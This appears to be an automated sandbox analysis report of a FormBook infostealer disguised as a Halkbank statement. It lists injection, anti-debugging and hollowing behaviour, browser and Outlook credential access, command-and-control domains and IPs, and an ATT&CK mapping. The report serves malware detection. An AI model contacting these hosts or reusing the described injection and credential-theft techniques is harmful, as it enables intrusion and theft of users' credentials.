Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3740D mov eax, dword ptr fs:[00000030h]	3_2_00B3740D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3740D mov eax, dword ptr fs:[00000030h]	3_2_00B3740D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3740D mov eax, dword ptr fs:[00000030h]	3_2_00B3740D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8746D mov eax, dword ptr fs:[00000030h]	3_2_00A8746D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9A44B mov eax, dword ptr fs:[00000030h]	3_2_00A9A44B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFC450 mov eax, dword ptr fs:[00000030h]	3_2_00AFC450
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFC450 mov eax, dword ptr fs:[00000030h]	3_2_00AFC450
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A935A1 mov eax, dword ptr fs:[00000030h]	3_2_00A935A1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A91DB5 mov eax, dword ptr fs:[00000030h]	3_2_00A91DB5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A91DB5 mov eax, dword ptr fs:[00000030h]	3_2_00A91DB5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A91DB5 mov eax, dword ptr fs:[00000030h]	3_2_00A91DB5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B305AC mov eax, dword ptr fs:[00000030h]	3_2_00B305AC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B305AC mov eax, dword ptr fs:[00000030h]	3_2_00B305AC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92581 mov eax, dword ptr fs:[00000030h]	3_2_00A92581
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92581 mov eax, dword ptr fs:[00000030h]	3_2_00A92581
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92581 mov eax, dword ptr fs:[00000030h]	3_2_00A92581
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92581 mov eax, dword ptr fs:[00000030h]	3_2_00A92581
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A62D8A mov eax, dword ptr fs:[00000030h]	3_2_00A62D8A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A62D8A mov eax, dword ptr fs:[00000030h]	3_2_00A62D8A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A62D8A mov eax, dword ptr fs:[00000030h]	3_2_00A62D8A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A62D8A mov eax, dword ptr fs:[00000030h]	3_2_00A62D8A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A62D8A mov eax, dword ptr fs:[00000030h]	3_2_00A62D8A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9FD9B mov eax, dword ptr fs:[00000030h]	3_2_00A9FD9B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9FD9B mov eax, dword ptr fs:[00000030h]	3_2_00A9FD9B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B18DF1 mov eax, dword ptr fs:[00000030h]	3_2_00B18DF1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7D5E0 mov eax, dword ptr fs:[00000030h]	3_2_00A7D5E0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7D5E0 mov eax, dword ptr fs:[00000030h]	3_2_00A7D5E0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00B2FDE2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00B2FDE2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00B2FDE2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00B2FDE2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]	3_2_00AE6DC9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]	3_2_00AE6DC9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]	3_2_00AE6DC9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6DC9 mov ecx, dword ptr fs:[00000030h]	3_2_00AE6DC9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]	3_2_00AE6DC9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]	3_2_00AE6DC9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B38D34 mov eax, dword ptr fs:[00000030h]	3_2_00B38D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2E539 mov eax, dword ptr fs:[00000030h]	3_2_00B2E539
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A94D3B mov eax, dword ptr fs:[00000030h]	3_2_00A94D3B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A94D3B mov eax, dword ptr fs:[00000030h]	3_2_00A94D3B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A94D3B mov eax, dword ptr fs:[00000030h]	3_2_00A94D3B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A73D34 mov eax, dword ptr fs:[00000030h]	3_2_00A73D34
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6AD30 mov eax, dword ptr fs:[00000030h]	3_2_00A6AD30
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AEA537 mov eax, dword ptr fs:[00000030h]	3_2_00AEA537
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8C577 mov eax, dword ptr fs:[00000030h]	3_2_00A8C577
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8C577 mov eax, dword ptr fs:[00000030h]	3_2_00A8C577
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA3D43 mov eax, dword ptr fs:[00000030h]	3_2_00AA3D43
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE3540 mov eax, dword ptr fs:[00000030h]	3_2_00AE3540
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A87D50 mov eax, dword ptr fs:[00000030h]	3_2_00A87D50
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE46A7 mov eax, dword ptr fs:[00000030h]	3_2_00AE46A7
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B30EA5 mov eax, dword ptr fs:[00000030h]	3_2_00B30EA5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B30EA5 mov eax, dword ptr fs:[00000030h]	3_2_00B30EA5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B30EA5 mov eax, dword ptr fs:[00000030h]	3_2_00B30EA5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFFE87 mov eax, dword ptr fs:[00000030h]	3_2_00AFFE87
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A776E2 mov eax, dword ptr fs:[00000030h]	3_2_00A776E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A916E0 mov ecx, dword ptr fs:[00000030h]	3_2_00A916E0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B38ED6 mov eax, dword ptr fs:[00000030h]	3_2_00B38ED6
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A936CC mov eax, dword ptr fs:[00000030h]	3_2_00A936CC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA8EC7 mov eax, dword ptr fs:[00000030h]	3_2_00AA8EC7
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B1FEC0 mov eax, dword ptr fs:[00000030h]	3_2_00B1FEC0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6E620 mov eax, dword ptr fs:[00000030h]	3_2_00A6E620
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B1FE3F mov eax, dword ptr fs:[00000030h]	3_2_00B1FE3F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6C600 mov eax, dword ptr fs:[00000030h]	3_2_00A6C600
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6C600 mov eax, dword ptr fs:[00000030h]	3_2_00A6C600
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6C600 mov eax, dword ptr fs:[00000030h]	3_2_00A6C600
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A98E00 mov eax, dword ptr fs:[00000030h]	3_2_00A98E00
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9A61C mov eax, dword ptr fs:[00000030h]	3_2_00A9A61C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9A61C mov eax, dword ptr fs:[00000030h]	3_2_00A9A61C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21608 mov eax, dword ptr fs:[00000030h]	3_2_00B21608
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7766D mov eax, dword ptr fs:[00000030h]	3_2_00A7766D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8AE73 mov eax, dword ptr fs:[00000030h]	3_2_00A8AE73
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8AE73 mov eax, dword ptr fs:[00000030h]	3_2_00A8AE73
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8AE73 mov eax, dword ptr fs:[00000030h]	3_2_00A8AE73
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8AE73 mov eax, dword ptr fs:[00000030h]	3_2_00A8AE73
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8AE73 mov eax, dword ptr fs:[00000030h]	3_2_00A8AE73
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A77E41 mov eax, dword ptr fs:[00000030h]	3_2_00A77E41
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A77E41 mov eax, dword ptr fs:[00000030h]	3_2_00A77E41
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A77E41 mov eax, dword ptr fs:[00000030h]	3_2_00A77E41
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A77E41 mov eax, dword ptr fs:[00000030h]	3_2_00A77E41
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A77E41 mov eax, dword ptr fs:[00000030h]	3_2_00A77E41
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A77E41 mov eax, dword ptr fs:[00000030h]	3_2_00A77E41
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2AE44 mov eax, dword ptr fs:[00000030h]	3_2_00B2AE44
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2AE44 mov eax, dword ptr fs:[00000030h]	3_2_00B2AE44
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A78794 mov eax, dword ptr fs:[00000030h]	3_2_00A78794
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE7794 mov eax, dword ptr fs:[00000030h]	3_2_00AE7794
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE7794 mov eax, dword ptr fs:[00000030h]	3_2_00AE7794
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE7794 mov eax, dword ptr fs:[00000030h]	3_2_00AE7794
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA37F5 mov eax, dword ptr fs:[00000030h]	3_2_00AA37F5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A64F2E mov eax, dword ptr fs:[00000030h]	3_2_00A64F2E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A64F2E mov eax, dword ptr fs:[00000030h]	3_2_00A64F2E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9E730 mov eax, dword ptr fs:[00000030h]	3_2_00A9E730
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9A70E mov eax, dword ptr fs:[00000030h]	3_2_00A9A70E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9A70E mov eax, dword ptr fs:[00000030h]	3_2_00A9A70E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3070D mov eax, dword ptr fs:[00000030h]	3_2_00B3070D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3070D mov eax, dword ptr fs:[00000030h]	3_2_00B3070D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8F716 mov eax, dword ptr fs:[00000030h]	3_2_00A8F716
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFFF10 mov eax, dword ptr fs:[00000030h]	3_2_00AFFF10
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFFF10 mov eax, dword ptr fs:[00000030h]	3_2_00AFFF10
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7FF60 mov eax, dword ptr fs:[00000030h]	3_2_00A7FF60
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B38F6A mov eax, dword ptr fs:[00000030h]	3_2_00B38F6A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7EF40 mov eax, dword ptr fs:[00000030h]	3_2_00A7EF40

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 3_2_0040CF23 LdrLoadDll,

3_2_0040CF23

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00403345 SetUnhandledExceptionFilter,	1_2_00403345
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_004031B3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004031B3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0040362E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0040362E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0041EF4A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041EF4A

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.genuineinsights.cloud
Source: C:\Windows\explorer.exe	Domain query: www.octohoki.net
Source: C:\Windows\explorer.exe	Network Connect: 107.148.8.96 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.102.227.30 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.ladybillplanet.com
Source: C:\Windows\explorer.exe	Network Connect: 184.94.215.91 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.146 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.96.162.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.cutgang.net
Source: C:\Windows\explorer.exe	Domain query: www.energybig.xyz
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.212 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.wenzid4.top

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Section unmapped: C:\Windows\SysWOW64\colorcpl.exe base address: 12B0000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\vokkqsp.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Section loaded: unknown target: C:\Windows\SysWOW64\colorcpl.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Section loaded: unknown target: C:\Windows\SysWOW64\colorcpl.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Thread register set: target process: 3528			Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Thread register set: target process: 3528			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Process created: C:\Users\user\AppData\Local\Temp\vokkqsp.exe C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Jump to behavior

Source: explorer.exe, 00000004.00000000.312579716.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.568728415.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000004.00000002.574267920.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.312579716.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.320111169.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.312579716.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.568728415.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.312306361.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.568105021.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000004.00000000.312579716.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.568728415.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: EnumSystemLocalesW,	1_2_0042A05B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: EnumSystemLocalesW,	1_2_0042A032
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	1_2_004293C1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: EnumSystemLocalesW,	1_2_00429663
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: EnumSystemLocalesW,	1_2_004296CC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: EnumSystemLocalesW,	1_2_00429767
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_004297F2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetLocaleInfoW,	1_2_0042A982
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetLocaleInfoW,	1_2_00429A45
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_00429B6E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetLocaleInfoW,	1_2_00429C74
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_00429D43
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: EnumSystemLocalesW,	1_2_00429F45

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 1_2_0040345B cpuid

1_2_0040345B

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 1_2_00403097 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00403097

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

0_2_00403640

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\colorcpl.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\colorcpl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Shared Modules	Path Interception	1 Access Token Manipulation	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	512 Process Injection	1 Access Token Manipulation	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	512 Process Injection	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
